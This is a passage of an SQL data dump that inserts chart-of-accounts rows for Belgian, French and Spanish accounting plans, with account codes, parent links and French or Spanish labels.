similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1232,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6633',1228,'Sur immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1233,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6634',1228,'Sur immeubles acquis ou construits en vue de la revente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1234,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','664',1221,'à 668 Autres charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1236,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','665',1221,'Différence de charge',NULL,0,NULL,NULL,1,0,NULL,NULL),(1237,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','669',1221,'Charges exceptionnelles transférées à l\'actif en frais de restructuration',NULL,0,NULL,NULL,1,0,NULL,NULL),(1238,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','67',1356,'Impôts sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(1239,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','670',1238,'Impôts belges sur le résultat de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1240,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6700',1239,'Impôts et précomptes dus ou versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1241,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6701',1239,'Excédent de versements d\'impôts et précomptes porté à l\'actif',NULL,0,NULL,NULL,1,0,NULL,NULL),(1242,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6702',1239,'Charges fiscales estimées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1243,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','671',1238,'Impôts belges sur le résultat d\'exercices antérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(1244,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6710',1243,'Suppléments d\'impôts dus ou versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1245,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6711',1243,'Suppléments d\'impôts estimés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1246,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6712',1243,'Provisions fiscales constituées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1247,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','672',1238,'Impôts étrangers sur le résultat de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(1248,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','673',1238,'Impôts étrangers sur le résultat d\'exercices antérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(1249,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','68',1356,'Transferts aux réserves immunisées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1250,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','69',1356,'Affectation des résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(1251,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','690',1250,'Perte reportée de l\'exercice précédent',NULL,0,NULL,NULL,1,0,NULL,NULL),(1252,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','691',1250,'Dotation à la réserve légale',NULL,0,NULL,NULL,1,0,NULL,NULL),(1253,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','692',1250,'Dotation aux autres réserves',NULL,0,NULL,NULL,1,0,NULL,NULL),(1254,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','693',1250,'Bénéfice à reporter',NULL,0,NULL,NULL,1,0,NULL,NULL),(1255,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','694',1250,'Rémunération du capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(1256,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','695',1250,'Administrateurs ou gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1257,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','696',1250,'Autres allocataires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1258,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','70',1357,'Chiffre d\'affaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1260,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','700',1258,'Ventes de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1261,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7000',1260,'Ventes en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(1262,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7001',1260,'Ventes dans les pays membres de la C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(1263,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7002',1260,'Ventes à l\'exportation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1264,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','701',1258,'Ventes de produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1265,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7010',1264,'Ventes en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(1266,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7011',1264,'Ventes dans les pays membres de la C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(1267,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7012',1264,'Ventes à l\'exportation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1268,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','702',1258,'Ventes de déchets et rebuts',NULL,0,NULL,NULL,1,0,NULL,NULL),(1269,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7020',1268,'Ventes en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(1270,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7021',1268,'Ventes dans les pays membres de la C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(1271,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7022',1268,'Ventes à l\'exportation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1272,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','703',1258,'Ventes d\'emballages récupérables',NULL,0,NULL,NULL,1,0,NULL,NULL),(1273,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','704',1258,'Facturations des travaux en cours (associations momentanées)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1274,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','705',1258,'Prestations de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(1275,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7050',1274,'Prestations de services en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(1276,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7051',1274,'Prestations de services dans les pays membres de la C.E.E.',NULL,0,NULL,NULL,1,0,NULL,NULL),(1277,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7052',1274,'Prestations de services en vue de l\'exportation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1278,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','706',1258,'Pénalités et dédits obtenus par l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(1279,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','708',1258,'Remises, ristournes et rabais accordés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1280,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7080',1279,'Sur ventes de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1281,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7081',1279,'Sur ventes de produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1282,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7082',1279,'Sur ventes de déchets et rebuts',NULL,0,NULL,NULL,1,0,NULL,NULL),(1283,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7083',1279,'Sur prestations de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(1284,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7084',1279,'Mali sur travaux facturés aux associations momentanées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1285,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','71',1357,'Variation des stocks et des commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1286,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','712',1285,'Des en cours de fabrication',NULL,0,NULL,NULL,1,0,NULL,NULL),(1287,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','713',1285,'Des produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(1288,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','715',1285,'Des immeubles construits destinés à la vente',NULL,0,NULL,NULL,1,0,NULL,NULL),(1289,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','717',1285,'Des commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1290,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7170',1289,'Commandes en cours - Coût de revient',NULL,0,NULL,NULL,1,0,NULL,NULL),(1291,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','71700',1290,'Coût des commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1292,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','71701',1290,'Coût des travaux en cours des associations momentanées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1293,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7171',1289,'Bénéfices portés en compte sur commandes en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(1294,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','71710',1293,'Sur commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1295,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','71711',1293,'Sur travaux en cours des associations momentanées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1296,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','72',1357,'Production immobilisée',NULL,0,NULL,NULL,1,0,NULL,NULL),(1297,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','720',1296,'En frais d\'établissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(1298,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','721',1296,'En immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1299,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','722',1296,'En immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1300,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','723',1296,'En immobilisations en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(1301,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','74',1357,'Autres produits d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(1302,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','740',1301,'Subsides d\'exploitation et montants compensatoires',NULL,0,NULL,NULL,1,0,NULL,NULL),(1303,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','741',1301,'Plus-values sur réalisations courantes d\'immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1304,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','742',1301,'Plus-values sur réalisations de créances commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1305,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','743',1301,'à 749 Produits d\'exploitation divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1307,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','744',1301,'Commissions et courtages',NULL,0,NULL,NULL,1,0,NULL,NULL),(1308,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','745',1301,'Redevances pour brevets et licences',NULL,0,NULL,NULL,1,0,NULL,NULL),(1309,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','746',1301,'Prestations de services (transports, études, etc)',NULL,0,NULL,NULL,1,0,NULL,NULL),(1310,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','747',1301,'Revenus des immeubles affectés aux activités non professionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1311,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','748',1301,'Locations diverses à caractère professionnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(1312,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','749',1301,'Produits divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1313,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7490',1312,'Bonis sur reprises d\'emballages consignés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1314,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7491',1312,'Bonis sur travaux en associations momentanées',NULL,0,NULL,NULL,1,0,NULL,NULL),(1315,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','75',1357,'Produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1316,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','750',1315,'Produits des immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1317,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7500',1316,'Revenus des actions',NULL,0,NULL,NULL,1,0,NULL,NULL),(1318,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7501',1316,'Revenus des obligations',NULL,0,NULL,NULL,1,0,NULL,NULL),(1319,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7502',1316,'Revenus des créances à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1320,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','751',1315,'Produits des actifs circulants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1321,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','752',1315,'Plus-values sur réalisations d\'actifs circulants',NULL,0,NULL,NULL,1,0,NULL,NULL),(1322,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','753',1315,'Subsides en capital et en intérêts',NULL,0,NULL,NULL,1,0,NULL,NULL),(1323,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','754',1315,'Différences de change',NULL,0,NULL,NULL,1,0,NULL,NULL),(1324,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','755',1315,'Ecarts de conversion des devises',NULL,0,NULL,NULL,1,0,NULL,NULL),(1325,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','756',1315,'à 759 Produits financiers divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(1327,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','757',1315,'Escomptes obtenus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1328,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','76',1357,'Produits exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(1329,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','760',1328,'Reprises d\'amortissements et de réductions de valeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(1330,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7600',1329,'Sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1331,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7601',1329,'Sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1332,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','761',1328,'Reprises de réductions de valeur sur immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1333,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','762',1328,'Reprises de provisions pour risques et charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1334,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','763',1328,'Plus-values sur réalisation d\'actifs immobilisés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1335,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7630',1334,'Sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1336,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7631',1334,'Sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1337,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7632',1334,'Sur immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(1338,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','764',1328,'Autres produits exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(1339,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','77',1357,'Régularisations d\'impôts et reprises de provisions fiscales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1340,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','771',1339,'Impôts belges sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(1341,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7710',1340,'Régularisations d\'impôts dus ou versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1342,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7711',1340,'Régularisations d\'impôts estimés',NULL,0,NULL,NULL,1,0,NULL,NULL),(1343,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7712',1340,'Reprises de provisions fiscales',NULL,0,NULL,NULL,1,0,NULL,NULL),(1344,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','773',1339,'Impôts étrangers sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(1345,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','79',1357,'Affectation aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(1346,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','790',1345,'Bénéfice reporté de l\'exercice précédent',NULL,0,NULL,NULL,1,0,NULL,NULL),(1347,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','791',1345,'Prélèvement sur le capital et les primes d\'émission',NULL,0,NULL,NULL,1,0,NULL,NULL),(1348,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','792',1345,'Prélèvement sur les réserves',NULL,0,NULL,NULL,1,0,NULL,NULL),(1349,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','793',1345,'Perte à reporter',NULL,0,NULL,NULL,1,0,NULL,NULL),(1350,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','794',1345,'Intervention d\'associés (ou du propriétaire) dans la perte',NULL,0,NULL,NULL,1,0,NULL,NULL),(1351,1,NULL,'2018-07-30 11:12:54','PCMN-BASE','CAPIT','1',0,'Fonds propres, provisions pour risques et charges et dettes à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1352,1,NULL,'2018-07-30 11:12:54','PCMN-BASE','IMMO','2',0,'Frais d\'établissement. Actifs immobilisés et créances à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1353,1,NULL,'2018-07-30 11:12:54','PCMN-BASE','STOCK','3',0,'Stock et commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1354,1,NULL,'2018-07-30 11:12:54','PCMN-BASE','TIERS','4',0,'Créances et dettes à un an au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1355,1,NULL,'2018-07-30 11:12:54','PCMN-BASE','FINAN','5',0,'Placement de trésorerie et de valeurs disponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1356,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','EXPENSE','6',0,'Charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1357,1,NULL,'2018-01-19 11:17:49','PCMN-BASE','INCOME','7',0,'Produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(1401,1,NULL,'2018-07-30 11:12:54','PCG99-ABREGE','CAPIT','1',0,'Fonds propres, provisions pour risques et charges et dettes à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1402,1,NULL,'2018-07-30 11:12:54','PCG99-ABREGE','IMMO','2',0,'Frais d\'établissement. Actifs immobilisés et créances à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1403,1,NULL,'2018-07-30 11:12:54','PCG99-ABREGE','STOCK','3',0,'Stock et commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1404,1,NULL,'2018-07-30 11:12:54','PCG99-ABREGE','TIERS','4',0,'Créances et dettes à un an au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1405,1,NULL,'2018-07-30 11:12:54','PCG99-ABREGE','FINAN','5',0,'Placement de trésorerie et de valeurs disponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1406,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','EXPENSE','6',0,'Charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1407,1,NULL,'2018-01-19 11:17:49','PCG99-ABREGE','INCOME','7',0,'Produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(1501,1,NULL,'2017-02-20 10:46:43','PCG99-BASE','CAPIT','1',0,'Fonds propres, provisions pour risques et charges et dettes à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1502,1,NULL,'2018-07-30 11:12:54','PCG99-BASE','IMMO','2',0,'Frais d\'établissement. Actifs immobilisés et créances à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(1503,1,NULL,'2018-07-30 11:12:54','PCG99-BASE','STOCK','3',0,'Stock et commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(1504,1,NULL,'2018-07-30 11:12:54','PCG99-BASE','TIERS','4',0,'Créances et dettes à un an au plus',NULL,0,NULL,NULL,1,0,NULL,NULL),(1505,1,NULL,'2018-07-30 11:12:54','PCG99-BASE','FINAN','5',0,'Placement de trésorerie et de valeurs disponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(1506,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','6',0,'Charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(1507,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','7',0,'Produits',NULL,0,NULL,NULL,1,0,NULL,NULL),(4001,1,NULL,'2018-07-30 11:12:54','PCG08-PYME','FINANCIACION','1',0,'Financiación básica',NULL,0,NULL,NULL,1,0,NULL,NULL),(4002,1,NULL,'2018-07-30 11:12:54','PCG08-PYME','ACTIVO','2',0,'Activo no corriente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4003,1,NULL,'2018-07-30 11:12:54','PCG08-PYME','EXISTENCIAS','3',0,'Existencias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4004,1,NULL,'2018-07-30 11:12:54','PCG08-PYME','ACREEDORES_DEUDORES','4',0,'Acreedores y deudores por operaciones comerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4005,1,NULL,'2018-07-30 11:12:54','PCG08-PYME','CUENTAS_FINANCIERAS','5',0,'Cuentas financieras',NULL,0,NULL,NULL,1,0,NULL,NULL),(4006,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','EXPENSE','6',0,'Compras y gastos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4007,1,NULL,'2018-01-19 11:17:49','PCG08-PYME','INCOME','7',0,'Ventas e ingresos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4008,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','10',4001,'CAPITAL',NULL,0,NULL,NULL,1,0,NULL,NULL),(4009,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','100',4008,'Capital social',NULL,0,NULL,NULL,1,0,NULL,NULL),(4010,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','101',4008,'Fondo social',NULL,0,NULL,NULL,1,0,NULL,NULL),(4011,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','102',4008,'Capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(4012,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','103',4008,'Socios por desembolsos no exigidos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4013,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1030',4012,'Socios por desembolsos no exigidos capital social',NULL,0,NULL,NULL,1,0,NULL,NULL),(4014,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1034',4012,'Socios por desembolsos no exigidos capital pendiente de inscripción',NULL,0,NULL,NULL,1,0,NULL,NULL),(4015,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','104',4008,'Socios por aportaciones no dineradas pendientes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4016,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1040',4015,'Socios por aportaciones no dineradas pendientes capital social',NULL,0,NULL,NULL,1,0,NULL,NULL),(4017,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1044',4015,'Socios por aportaciones no dineradas pendientes capital pendiente de inscripción',NULL,0,NULL,NULL,1,0,NULL,NULL),(4018,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','108',4008,'Acciones o participaciones propias en situaciones especiales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4019,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','109',4008,'Acciones o participaciones propias para reducción de capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(4020,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','11',4001,'Reservas y otros instrumentos de patrimonio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4021,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','110',4020,'Prima de emisión o asunción',NULL,0,NULL,NULL,1,0,NULL,NULL),(4022,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','111',4020,'Otros instrumentos de patrimonio neto',NULL,0,NULL,NULL,1,0,NULL,NULL),(4023,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1110',4022,'Patrimonio neto por emisión de instrumentos financieros compuestos',NULL,0,NULL,NULL,1,0,NULL,NULL),(4024,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1111',4022,'Resto de instrumentos de patrimoio neto',NULL,0,NULL,NULL,1,0,NULL,NULL),(4025,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','112',4020,'Reserva legal',NULL,0,NULL,NULL,1,0,NULL,NULL),(4026,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','113',4020,'Reservas voluntarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4027,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','114',4020,'Reservas especiales',NULL,0,NULL,NULL,1,0,NULL,NULL),(4028,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1140',4027,'Reservas para acciones o participaciones de la sociedad dominante',NULL,0,NULL,NULL,1,0,NULL,NULL),(4029,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1141',4027,'Reservas estatutarias',NULL,0,NULL,NULL,1,0,NULL,NULL),(4030,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1142',4027,'Reservas por capital amortizado',NULL,0,NULL,NULL,1,0,NULL,NULL),(4031,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1143',4027,'Reservas por fondo de comercio',NULL,0,NULL,NULL,1,0,NULL,NULL),(4032,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','1144',4028,'Reservas por acciones propias aceptadas en garantía',NULL,0,NULL,NULL,1,0,NULL,NULL),(4033,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','115',4020,'Reservas por pérdidas y ganancias actuariales y otros ajustes',NULL,0,NULL,NULL,1,0,NULL,NULL),(4034,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','118',4020,'Aportaciones de socios o propietarios',NULL,0,NULL,NULL,1,0,NULL,NULL),(4035,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','119',4020,'Diferencias por ajuste del capital a euros',NULL,0,NULL,NULL,1,0,NULL,NULL),(4036,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','12',4001,'Resultados pendientes de aplicación',NULL,0,NULL,NULL,1,0,NULL,NULL),(4037,1,NULL,'2018-01-22 17:28:16','PCG08-PYME','FINANCIACION','120',4036,'Remanente',NULL,0,NULL,NULL,1,0,NULL,NULL),(4038,1,NULL,'2018-01-22 